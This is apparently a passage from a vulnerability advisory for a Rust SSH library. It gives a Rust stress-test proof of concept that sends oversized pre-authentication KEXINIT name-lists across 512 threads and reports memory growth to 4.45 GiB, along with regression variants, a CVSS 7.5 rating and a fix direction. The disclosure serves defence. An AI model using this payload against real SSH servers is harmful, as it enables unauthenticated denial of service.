Details
#[test]
fn stress_kexinit_many_names_many_connections() {
use std::borrow::Cow;
use std::sync::Arc;
use byteorder::{BigEndian, ByteOrder};
use ssh_key::Algorithm;
use crate::negotiation::{Preferred, Select, Server};
use crate::{cipher, compression, kex, mac, msg};
fn no_crypto_preferred() -> Preferred {
Preferred {
kex: Cow::Owned(vec![kex::NONE]),
key: Cow::Owned(vec![Algorithm::Ed25519]),
cipher: Cow::Owned(vec![cipher::NONE]),
mac: Cow::Owned(vec![mac::NONE]),
compression: Cow::Owned(vec![compression::NONE]),
}
}
fn encode_string(buf: &mut Vec<u8>, value: &[u8]) {
let mut len = [0; 4];
BigEndian::write_u32(&mut len, value.len() as u32);
buf.extend_from_slice(&len);
buf.extend_from_slice(value);
}
fn kexinit_with_kex_list(kex_list: &str) -> Vec<u8> {
let mut payload = Vec::new();
payload.push(msg::KEXINIT);
payload.extend_from_slice(&[0; 16]);
encode_string(&mut payload, kex_list.as_bytes());
encode_string(&mut payload, b"ssh-ed25519");
encode_string(&mut payload, b"none");
encode_string(&mut payload, b"none");
encode_string(&mut payload, b"none");
encode_string(&mut payload, b"none");
encode_string(&mut payload, b"none");
encode_string(&mut payload, b"none");
encode_string(&mut payload, b"");
encode_string(&mut payload, b"");
payload.push(0);
payload.extend_from_slice(&[0; 4]);
payload
}
fn memory_status() -> (Option<usize>, Option<usize>) {
let Ok(status) = std::fs::read_to_string("/proc/self/status") else {
return (None, None);
};
let mut rss = None;
let mut hwm = None;
for line in status.lines() {
if let Some(value) = line.strip_prefix("VmRSS:") {
rss = value
.split_whitespace()
.next()
.and_then(|value| value.parse().ok());
} else if let Some(value) = line.strip_prefix("VmHWM:") {
hwm = value
.split_whitespace()
.next()
.and_then(|value| value.parse().ok());
}
}
(rss, hwm)
}
const THREADS: usize = 512;
const ITERATIONS_PER_THREAD: usize = 8;
let payload = Arc::new(kexinit_with_kex_list(
&("none,".to_owned() + &"a,".repeat(131_000) + "a"),
));
let preferred = Arc::new(no_crypto_preferred());
let barrier = Arc::new(std::sync::Barrier::new(THREADS + 1));
let before = memory_status();
let start = std::time::Instant::now();
let mut threads = Vec::new();
for _ in 0..THREADS {
let payload = payload.clone();
let preferred = preferred.clone();
let barrier = barrier.clone();
threads.push(std::thread::spawn(move || {
barrier.wait();
let mut errors = 0usize;
for _ in 0..ITERATIONS_PER_THREAD {
if Server::read_kex(&payload, &preferred, None, &kex::KexCause::Initial).is_err() {
errors += 1;
}
}
errors
}));
}
barrier.wait();
let errors: usize = threads
.into_iter()
.map(|thread| thread.join().expect("thread"))
.sum();
let after = memory_status();
eprintln!(
"threads={THREADS} per_thread={ITERATIONS_PER_THREAD} total_iterations={} payload_bytes={} errors={errors} elapsed_ms={} memory_before={before:?} memory_after={after:?}",
THREADS * ITERATIONS_PER_THREAD,
payload.len(),
start.elapsed().as_millis()
);
}
On vulnerable code, this stress harness completed without parser errors and produced the multi-GiB RSS result above. With the fix applied, the same payload is rejected by take_name_list() against the local name-list bound before allocation-heavy parsing or name-list splitting.
I also checked a smaller regression form where the first KEXINIT name-list length prefix is 1_048_575 but the body is absent. On vulnerable code, that test is red with Err(SshEncoding(Length)) instead of Err(Error::PacketSize(_)): the owned decoder has already accepted the attacker-controlled name-list length prefix and only fails after trying to read the absent body. With the fix applied, take_name_list() reads the length prefix, rejects it against the local maximum, and returns PacketSize before allocation-heavy parsing or name-list splitting.
The extreme u32::MAX length prefix was checked as a local, uncommitted experiment. In the current dependency set, ssh_encoding rejects that value as Overflow because its usize length decoder has an internal 1_048_575 byte cap. The smaller regression form therefore uses 1_048_575, the maximum accepted prefix value, rather than keeping a 4 GiB allocation attempt in the test suite.
This demonstrates the highest-CVSS reachability for this class: a remote unauthenticated client reaches a server-side parser with a large SSH name-list during initial key exchange. That supports AV:N/AC:L/PR:N/UI:N.
The SERVICE_REQUEST variant was checked after key exchange but before user authentication. It has the same allocation-first shape with a tiny packet containing only SSH_MSG_SERVICE_REQUEST plus a 1_048_575 length prefix, and the vulnerable code returns Err(SshEncoding(Length)) rather than PacketSize. This is supporting evidence for the parser class, but the strongest availability evidence is the KEXINIT name-list fanout PoC above: 512 concurrent pre-auth parser contexts with 262,103-byte KEXINIT payloads drove process RSS from about 4 MiB to about 4.45 GiB.
Impact
Suggested CVSS v3.1:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H- Score:
7.5
Reasoning:
AV:N: reachable from a remote SSH peerAC:L: requires only attacker-controlled SSH fields with large or malformed length-prefixed valuesPR:N: some affected server-side paths are pre-authenticationUI:N: no user interaction is requiredC:N,I:N: no confidentiality or integrity impact demonstratedA:H: 512 concurrent pre-auth KEXINIT parser contexts with large name-lists drove process RSS above 4 GiB in the direct parser harness, demonstrating a credible service-availability impact under high concurrency
Historical note for releases before 0.58.0: the same high-fanout KEXINIT shape can be combined with negotiated RFC zlib and rekey to reduce wire cost dramatically and drive the old CryptoVec decompression output before the field parser runs. That supports keeping availability at A:H for the historical range as well, with an even stronger resource-amplification story. The demonstrated impact remains availability; no confidentiality, integrity, or RCE impact was demonstrated.
Fix / Patch Direction
Use bounded borrowed parsing helpers for attacker-controlled SSH strings, byte fields, and name-lists before constructing owned values or invoking handlers.